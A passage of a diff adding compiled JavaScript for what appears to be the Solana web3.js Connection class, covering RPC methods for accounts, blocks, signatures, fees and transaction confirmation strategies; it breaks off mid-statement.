+ const res = create(unsafeRes, jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult)))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info for accounts ${keys}`); + } + return res.result; + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys, return with context + */ + async getMultipleAccountsInfoAndContext(publicKeys, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const keys = publicKeys.map(key => key.toBase58()); + const args = this._buildArgs([keys], commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getMultipleAccounts', args); + const res = create(unsafeRes, jsonRpcResultAndContext(array(nullable(AccountInfoResult)))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info for accounts ${keys}`); + } + return res.result; + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys + */ + async getMultipleAccountsInfo(publicKeys, commitmentOrConfig) { + const res = await this.getMultipleAccountsInfoAndContext(publicKeys, commitmentOrConfig); + return res.value; + } + + /** + * Returns epoch activation information for a stake account that has been delegated + * + * @deprecated Deprecated since RPC v1.18; will be removed in a future version. + */ + async getStakeActivation(publicKey, commitmentOrConfig, epoch) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, undefined /* encoding */, { + ...config, + epoch: epoch != null ? epoch : config?.epoch + }); + const unsafeRes = await this._rpcRequest('getStakeActivation', args); + const res = create(unsafeRes, jsonRpcResult(StakeActivationResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get Stake Activation ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch all the accounts owned by the specified program id + * + * @return {Promise}>>} + */ + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async getProgramAccounts(programId, configOrCommitment) { + const { + commitment, + config + } = extractCommitmentFromConfig(configOrCommitment); + const { + encoding, + ...configWithoutEncoding + } = config || {}; + const args = this._buildArgs([programId.toBase58()], commitment, encoding || 'base64', { + ...configWithoutEncoding, + ...(configWithoutEncoding.filters ? { + filters: applyDefaultMemcmpEncodingToFilters(configWithoutEncoding.filters) + } : null) + }); + const unsafeRes = await this._rpcRequest('getProgramAccounts', args); + const baseSchema = array(KeyedAccountInfoResult); + const res = configWithoutEncoding.withContext === true ? create(unsafeRes, jsonRpcResultAndContext(baseSchema)) : create(unsafeRes, jsonRpcResult(baseSchema)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get accounts owned by program ${programId.toBase58()}`); + } + return res.result; + } + + /** + * Fetch and parse all the accounts owned by the specified program id + * + * @return {Promise}>>} + */ + async getParsedProgramAccounts(programId, configOrCommitment) { + const { + commitment, + config + } = extractCommitmentFromConfig(configOrCommitment); + const args = this._buildArgs([programId.toBase58()], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getProgramAccounts', args); + const res = create(unsafeRes, jsonRpcResult(array(KeyedParsedAccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get accounts owned by program ${programId.toBase58()}`); + } + return res.result; + } + + /** @deprecated Instead, call `confirmTransaction` and pass in {@link TransactionConfirmationStrategy} */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async confirmTransaction(strategy, commitment) { + let rawSignature; + if (typeof strategy == 'string') { + rawSignature = strategy; + } else { + const config = strategy; + if (config.abortSignal?.aborted) { + return Promise.reject(config.abortSignal.reason); + } + rawSignature = config.signature; + } + let decodedSignature; + try { + decodedSignature = bs58.decode(rawSignature); + } catch (err) { + throw new Error('signature must be base58 encoded: ' + rawSignature); + } + assert(decodedSignature.length === 64, 'signature has invalid length'); + if (typeof strategy === 'string') { + return await this.confirmTransactionUsingLegacyTimeoutStrategy({ + commitment: commitment || this.commitment, + signature: rawSignature + }); + } else if ('lastValidBlockHeight' in strategy) { + return await this.confirmTransactionUsingBlockHeightExceedanceStrategy({ + commitment: commitment || this.commitment, + strategy + }); + } else { + return await this.confirmTransactionUsingDurableNonceStrategy({ + commitment: commitment || this.commitment, + strategy + }); + } + } + getCancellationPromise(signal) { + return new Promise((_, reject) => { + if (signal == null) { + return; + } + if (signal.aborted) { + reject(signal.reason); + } else { + signal.addEventListener('abort', () => { + reject(signal.reason); + }); + } + }); + } + getTransactionConfirmationPromise({ + commitment, + signature + }) { + let signatureSubscriptionId; + let disposeSignatureSubscriptionStateChangeObserver; + let done = false; + const confirmationPromise = new Promise((resolve, reject) => { + try { + signatureSubscriptionId = this.onSignature(signature, (result, context) => { + signatureSubscriptionId = undefined; + const response = { + context, + value: result + }; + resolve({ + __type: TransactionStatus.PROCESSED, + response + }); + }, commitment); + const subscriptionSetupPromise = new Promise(resolveSubscriptionSetup => { + if (signatureSubscriptionId == null) { + resolveSubscriptionSetup(); + } else { + disposeSignatureSubscriptionStateChangeObserver = this._onSubscriptionStateChange(signatureSubscriptionId, nextState => { + if (nextState === 'subscribed') { + resolveSubscriptionSetup(); + } + }); + } + }); + (async () => { + await subscriptionSetupPromise; + if (done) return; + const response = await this.getSignatureStatus(signature); + if (done) return; + if (response == null) { + return; + } + const { + context, + value + } = response; + if (value == null) { + return; + } + if (value?.err) { + reject(value.err); + } else { + switch (commitment) { + case 'confirmed': + case 'single': + case 'singleGossip': + { + if (value.confirmationStatus === 'processed') { + return; + } + break; + } + case 'finalized': + case 'max': + case 'root': + { + if (value.confirmationStatus === 'processed' || value.confirmationStatus === 'confirmed') { + return; + } + break; + } + // exhaust enums to ensure full coverage + case 'processed': + case 'recent': + } + done = true; + resolve({ + __type: TransactionStatus.PROCESSED, + response: { + context, + value + } + }); + } + })(); + } catch (err) { + reject(err); + } + }); + const abortConfirmation = () => { + if (disposeSignatureSubscriptionStateChangeObserver) { + disposeSignatureSubscriptionStateChangeObserver(); + disposeSignatureSubscriptionStateChangeObserver = undefined; + } + if (signatureSubscriptionId != null) { + this.removeSignatureListener(signatureSubscriptionId); + signatureSubscriptionId = undefined; + } + }; + return { + abortConfirmation, + confirmationPromise + }; + } + async confirmTransactionUsingBlockHeightExceedanceStrategy({ + commitment, + strategy: { + abortSignal, + lastValidBlockHeight, + signature + } + }) { + let done = false; + const expiryPromise = new Promise(resolve => { + const checkBlockHeight = async () => { + try { + const blockHeight = await this.getBlockHeight(commitment); + return blockHeight; + } catch (_e) { + return -1; + } + }; + (async () => { + let currentBlockHeight = await checkBlockHeight(); + if (done) return; + while (currentBlockHeight <= lastValidBlockHeight) { + await sleep(1000); + if (done) return; + currentBlockHeight = await checkBlockHeight(); + if (done) return; + } + resolve({ + __type: TransactionStatus.BLOCKHEIGHT_EXCEEDED + }); + })(); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + const cancellationPromise = this.getCancellationPromise(abortSignal); + let result; + try { + const outcome = await Promise.race([cancellationPromise, confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + throw new TransactionExpiredBlockheightExceededError(signature); + } + } finally { + done = true; + abortConfirmation(); + } + return result; + } + async confirmTransactionUsingDurableNonceStrategy({ + commitment, + strategy: { + abortSignal, + minContextSlot, + nonceAccountPubkey, + nonceValue, + signature + } + }) { + let done = false; + const expiryPromise = new Promise(resolve => { + let currentNonceValue = nonceValue; + let lastCheckedSlot = null; + const getCurrentNonceValue = async () => { + try { + const { + context, + value: nonceAccount + } = await this.getNonceAndContext(nonceAccountPubkey, { + commitment, + minContextSlot + }); + lastCheckedSlot = context.slot; + return nonceAccount?.nonce; + } catch (e) { + // If for whatever reason we can't reach/read the nonce + // account, just keep using the last-known value. + return currentNonceValue; + } + }; + (async () => { + currentNonceValue = await getCurrentNonceValue(); + if (done) return; + while (true // eslint-disable-line no-constant-condition + ) { + if (nonceValue !== currentNonceValue) { + resolve({ + __type: TransactionStatus.NONCE_INVALID, + slotInWhichNonceDidAdvance: lastCheckedSlot + }); + return; + } + await sleep(2000); + if (done) return; + currentNonceValue = await getCurrentNonceValue(); + if (done) return; + } + })(); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + const cancellationPromise = this.getCancellationPromise(abortSignal); + let result; + try { + const outcome = await Promise.race([cancellationPromise, confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + // Double check that the transaction is indeed unconfirmed. + let signatureStatus; + while (true // eslint-disable-line no-constant-condition + ) { + const status = await this.getSignatureStatus(signature); + if (status == null) { + break; + } + if (status.context.slot < (outcome.slotInWhichNonceDidAdvance ?? minContextSlot)) { + await sleep(400); + continue; + } + signatureStatus = status; + break; + } + if (signatureStatus?.value) { + const commitmentForStatus = commitment || 'finalized'; + const { + confirmationStatus + } = signatureStatus.value; + switch (commitmentForStatus) { + case 'processed': + case 'recent': + if (confirmationStatus !== 'processed' && confirmationStatus !== 'confirmed' && confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + case 'confirmed': + case 'single': + case 'singleGossip': + if (confirmationStatus !== 'confirmed' && confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + case 'finalized': + case 'max': + case 'root': + if (confirmationStatus !== 'finalized') { + throw new TransactionExpiredNonceInvalidError(signature); + } + break; + default: + // Exhaustive switch. + // eslint-disable-next-line @typescript-eslint/no-unused-vars + (_ => {})(commitmentForStatus); + } + result = { + context: signatureStatus.context, + value: { + err: signatureStatus.value.err + } + }; + } else { + throw new TransactionExpiredNonceInvalidError(signature); + } + } + } finally { + done = true; + abortConfirmation(); + } + return result; + } + async confirmTransactionUsingLegacyTimeoutStrategy({ + commitment, + signature + }) { + let timeoutId; + const expiryPromise = new Promise(resolve => { + let timeoutMs = this._confirmTransactionInitialTimeout || 60 * 1000; + switch (commitment) { + case 'processed': + case 'recent': + case 'single': + case 'confirmed': + case 'singleGossip': + { + timeoutMs = this._confirmTransactionInitialTimeout || 30 * 1000; + break; + } + } + timeoutId = setTimeout(() => resolve({ + __type: TransactionStatus.TIMED_OUT, + timeoutMs + }), timeoutMs); + }); + const { + abortConfirmation, + confirmationPromise + } = this.getTransactionConfirmationPromise({ + commitment, + signature + }); + let result; + try { + const outcome = await Promise.race([confirmationPromise, expiryPromise]); + if (outcome.__type === TransactionStatus.PROCESSED) { + result = outcome.response; + } else { + throw new TransactionExpiredTimeoutError(signature, outcome.timeoutMs / 1000); + } + } finally { + clearTimeout(timeoutId); + abortConfirmation(); + } + return result; + } + + /** + * Return the list of nodes that are currently participating in the cluster + */ + async getClusterNodes() { + const unsafeRes = await this._rpcRequest('getClusterNodes', []); + const res = create(unsafeRes, jsonRpcResult(array(ContactInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get cluster nodes'); + } + return res.result; + } + + /** + * Return the list of nodes that are currently participating in the cluster + */ + async getVoteAccounts(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getVoteAccounts', args); + const res = create(unsafeRes, GetVoteAccounts); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get vote accounts'); + } + return res.result; + } + + /** + * Fetch the current slot that the node is processing + */ + async getSlot(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getSlot', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot'); + } + return res.result; + } + + /** + * Fetch the current slot leader of the cluster + */ + async getSlotLeader(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getSlotLeader', args); + const res = create(unsafeRes, jsonRpcResult(string())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot leader'); + } + return res.result; + } + + /** + * Fetch `limit` number of slot leaders starting from `startSlot` + * + * @param startSlot fetch slot leaders starting from this slot + * @param limit number of slot leaders to return + */ + async getSlotLeaders(startSlot, limit) { + const args = [startSlot, limit]; + const unsafeRes = await this._rpcRequest('getSlotLeaders', args); + const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders'); + } + return res.result; + } + + /** + * Fetch the current status of a signature + */ + async getSignatureStatus(signature, config) { + const { + context, + value: values + } = await this.getSignatureStatuses([signature], config); + assert(values.length === 1); + const value = values[0]; + return { + context, + value + }; + } + + /** + * Fetch the current statuses of a batch of signatures + */ + async getSignatureStatuses(signatures, config) { + const params = [signatures]; + if (config) { + params.push(config); + } + const unsafeRes = await this._rpcRequest('getSignatureStatuses', params); + const res = create(unsafeRes, GetSignatureStatusesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get signature status'); + } + return res.result; + } + + /** + * Fetch the current transaction count of the cluster + */ + async getTransactionCount(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getTransactionCount', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction count'); + } + return res.result; + } + + /** + * Fetch the current total currency supply of the cluster in lamports + * + * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead. + */ + async getTotalSupply(commitment) { + const result = await this.getSupply({ + commitment, + excludeNonCirculatingAccountsList: true + }); + return result.value.total; + } + + /** + * Fetch the cluster InflationGovernor parameters + */ + async getInflationGovernor(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getInflationGovernor', args); + const res = create(unsafeRes, GetInflationGovernorRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation'); + } + return res.result; + } + + /** + * Fetch the inflation reward for a list of addresses for an epoch + */ + async getInflationReward(addresses, epoch, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([addresses.map(pubkey => pubkey.toBase58())], commitment, undefined /* encoding */, { + ...config, + epoch: epoch != null ? epoch : config?.epoch + }); + const unsafeRes = await this._rpcRequest('getInflationReward', args); + const res = create(unsafeRes, GetInflationRewardResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward'); + } + return res.result; + } + + /** + * Fetch the specific inflation values for the current epoch + */ + async getInflationRate() { + const unsafeRes = await this._rpcRequest('getInflationRate', []); + const res = create(unsafeRes, GetInflationRateRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate'); + } + return res.result; + } + + /** + * Fetch the Epoch Info parameters + */ + async getEpochInfo(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getEpochInfo', args); + const res = create(unsafeRes, GetEpochInfoRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get epoch info'); + } + return res.result; + } + + /** + * Fetch the Epoch Schedule parameters + */ + async getEpochSchedule() { + const unsafeRes = await this._rpcRequest('getEpochSchedule', []); + const res = create(unsafeRes, GetEpochScheduleRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule'); + } + const epochSchedule = res.result; + return new EpochSchedule(epochSchedule.slotsPerEpoch, epochSchedule.leaderScheduleSlotOffset, epochSchedule.warmup, epochSchedule.firstNormalEpoch, epochSchedule.firstNormalSlot); + } + + /** + * Fetch the leader schedule for the current epoch + * @return {Promise>} + */ + async getLeaderSchedule() { + const unsafeRes = await this._rpcRequest('getLeaderSchedule', []); + const res = create(unsafeRes, GetLeaderScheduleRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule'); + } + return res.result; + } + + /** + * Fetch the minimum balance needed to exempt an account of `dataLength` + * size from rent + */ + async getMinimumBalanceForRentExemption(dataLength, commitment) { + const args = this._buildArgs([dataLength], commitment); + const unsafeRes = await this._rpcRequest('getMinimumBalanceForRentExemption', args); + const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult); + if ('error' in res) { + console.warn('Unable to fetch minimum balance for rent exemption'); + return 0; + } + return res.result; + } + + /** + * Fetch a recent blockhash from the cluster, return with context + * @return {Promise>} + * + * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead. + */ + async getRecentBlockhashAndContext(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getRecentBlockhash', args); + const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash'); + } + return res.result; + } + + /** + * Fetch recent performance samples + * @return {Promise>} + */ + async getRecentPerformanceSamples(limit) { + const unsafeRes = await this._rpcRequest('getRecentPerformanceSamples', limit ? [limit] : []); + const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent performance samples'); + } + return res.result; + } + + /** + * Fetch the fee calculator for a recent blockhash from the cluster, return with context + * + * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead. + */ + async getFeeCalculatorForBlockhash(blockhash, commitment) { + const args = this._buildArgs([blockhash], commitment); + const unsafeRes = await this._rpcRequest('getFeeCalculatorForBlockhash', args); + const res = create(unsafeRes, GetFeeCalculatorRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator'); + } + const { + context, + value + } = res.result; + return { + context, + value: value !== null ? value.feeCalculator : null + }; + } + + /** + * Fetch the fee for a message from the cluster, return with context + */ + async getFeeForMessage(message, commitment) { + const wireMessage = toBuffer(message.serialize()).toString('base64'); + const args = this._buildArgs([wireMessage], commitment); + const unsafeRes = await this._rpcRequest('getFeeForMessage', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get fee for message'); + } + if (res.result === null) { + throw new Error('invalid blockhash'); + } + return res.result; + } + + /** + * Fetch a list of prioritization fees from recent blocks. + */ + async getRecentPrioritizationFees(config) { + const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58()); + const args = accounts?.length ? [accounts] : []; + const unsafeRes = await this._rpcRequest('getRecentPrioritizationFees', args); + const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent prioritization fees'); + } + return res.result; + } + /** + * Fetch a recent blockhash from the cluster + * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>} + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead. + */ + async getRecentBlockhash(commitment) { + try { + const res = await this.getRecentBlockhashAndContext(commitment); + return res.value; + } catch (e) { + throw new Error('failed to get recent blockhash: ' + e); + } + } + + /** + * Fetch the latest blockhash from the cluster + * @return {Promise} + */ + async getLatestBlockhash(commitmentOrConfig) { + try { + const res = await this.getLatestBlockhashAndContext(commitmentOrConfig); + return res.value; + } catch (e) { + throw new Error('failed to get recent blockhash: ' + e); + } + } + + /** + * Fetch the latest blockhash from the cluster + * @return {Promise} + */ + async getLatestBlockhashAndContext(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getLatestBlockhash', args); + const res = create(unsafeRes, GetLatestBlockhashRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash'); + } + return res.result; + } + + /** + * Returns whether a blockhash is still valid or not + */ + async isBlockhashValid(blockhash, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgs([blockhash], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('isBlockhashValid', args); + const res = create(unsafeRes, IsBlockhashValidRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to determine if the blockhash `' + blockhash + '`is valid'); + } + return res.result; + } + + /** + * Fetch the node version + */ + async getVersion() { + const unsafeRes = await this._rpcRequest('getVersion', []); + const res = create(unsafeRes, jsonRpcResult(VersionResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get version'); + } + return res.result; + } + + /** + * Fetch the genesis hash + */ + async getGenesisHash() { + const unsafeRes = await this._rpcRequest('getGenesisHash', []); + const res = create(unsafeRes, jsonRpcResult(string())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash'); + } + return res.result; + } + + /** + * Fetch a processed block from the cluster. + * + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + + /** + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a processed block from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a processed block from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + async getBlock(slot, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getBlock', args); + try { + switch (config?.transactionDetails) { + case 'accounts': + { + const res = create(unsafeRes, GetAccountsModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + case 'none': + { + const res = create(unsafeRes, GetNoneModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + default: + { + const res = create(unsafeRes, GetBlockRpcResult); + if ('error' in res) { + throw res.error; + } + const { + result + } = res; + return result ? { + ...result, + transactions: result.transactions.map(({ + transaction, + meta, + version + }) => ({ + meta, + transaction: { + ...transaction, + message: versionedMessageFromResponse(version, transaction.message) + }, + version + })) + } : null; + } + } + } catch (e) { + throw new SolanaJSONRPCError(e, 'failed to get confirmed block'); + } + } + + /** + * Fetch parsed transaction details for a confirmed or finalized block + */ + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async getParsedBlock(slot, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([slot], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getBlock', args); + try { + switch (config?.transactionDetails) { + case 'accounts': + { + const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + case 'none': + { + const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + default: + { + const res = create(unsafeRes, GetParsedBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + } + } catch (e) { + throw new SolanaJSONRPCError(e, 'failed to get block'); + } + } + /* + * Returns recent block production information from the current or previous epoch + */ + async getBlockProduction(configOrCommitment) { + let extra; + let commitment; + if (typeof configOrCommitment === 'string') { + commitment = configOrCommitment; + } else if (configOrCommitment) { + const { + commitment: c, + ...rest + } = configOrCommitment; + commitment = c; + extra = rest; + } + const args = this._buildArgs([], commitment, 'base64', extra); + const unsafeRes = await this._rpcRequest('getBlockProduction', args); + const res = create(unsafeRes, BlockProductionResponseStruct); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block production information'); + } + return res.result; + } + + /** + * Fetch a confirmed or finalized transaction from the cluster. + * + * @deprecated Instead, call `getTransaction` using a + * `GetVersionedTransactionConfig` by setting the + * `maxSupportedTransactionVersion` property. + */ + + /** + * Fetch a confirmed or finalized transaction from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a confirmed or finalized transaction from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + async getTransaction(signature, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([signature], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getTransaction', args); + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + const result = res.result; + if (!result) return result; + return { + ...result, + transaction: { + ...result.transaction, + message: versionedMessageFromResponse(result.version, result.transaction.message) + } + }; + } + + /** + * Fetch parsed transaction details for a confirmed or finalized transaction + */ + async getParsedTransaction(signature, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getTransaction', args); + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + return res.result; + } + + /** + * Fetch parsed transaction details for a batch of confirmed transactions + */ + async getParsedTransactions(signatures, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed', config); + return { + methodName: 'getTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transactions'); + } + return res.result; + }); + return res; + } + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}. + * + * @deprecated Instead, call `getTransactions` using a + * `GetVersionedTransactionConfig` by setting the + * `maxSupportedTransactionVersion` property. + */ + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link + * VersionedTransactionResponse}. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link + * VersionedTransactionResponse}. + */ + // eslint-disable-next-line no-dupe-class-members + async getTransactions(signatures, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, undefined /* encoding */, config); + return { + methodName: 'getTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transactions'); + } + const result = res.result; + if (!result) return result; + return { + ...result, + transaction: { + ...result.transaction, + message: versionedMessageFromResponse(result.version, result.transaction.message) + } + }; + }); + return res; + } + + /** + * Fetch a list of Transactions and transaction statuses from the cluster + * for a confirmed block. + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead. + */ + async getConfirmedBlock(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment); + const unsafeRes = await this._rpcRequest('getConfirmedBlock', args); + const res = create(unsafeRes, GetConfirmedBlockRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block'); + } + const result = res.result; + if (!result) { + throw new Error('Confirmed block ' + slot + ' not found'); + } + const block = { + ...result, + transactions: result.transactions.map(({ + transaction, + meta + }) => { + const message = new Message(transaction.message); + return { + meta, + transaction: { + ...transaction, + message + } + }; + }) + }; + return { + ...block, + transactions: block.transactions.map(({ + transaction, + meta + }) => { + return { + meta, + transaction: Transaction.populate(transaction.message, transaction.signatures) + }; + }) + }; + } + + /** + * Fetch confirmed blocks between two slots + */ + async getBlocks(startSlot, endSlot, commitment) { + const args = this._buildArgsAtLeastConfirmed(endSlot !== undefined ? [startSlot, endSlot] : [startSlot], commitment); + const unsafeRes = await this._rpcRequest('getBlocks', args); + const res = create(unsafeRes, jsonRpcResult(array(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get blocks'); + } + return res.result; + } + + /** + * Fetch a list of Signatures from the cluster for a block, excluding rewards + */ + async getBlockSignatures(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined, { + transactionDetails: 'signatures', + rewards: false + }); + const unsafeRes = await this._rpcRequest('getBlock', args); + const res = create(unsafeRes, GetBlockSignaturesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block'); + } + const result = res.result; + if (!result) { + throw new Error('Block ' + slot + ' not found'); + } + return result; + } + + /** + * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead. + */ + async getConfirmedBlockSignatures(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined, { + transactionDetails: 'signatures', + rewards: false + }); + const unsafeRes = await this._rpcRequest('getConfirmedBlock', args); + const res = create(unsafeRes, GetBlockSignaturesRpcResult); + if ('error' in res) { + throw new 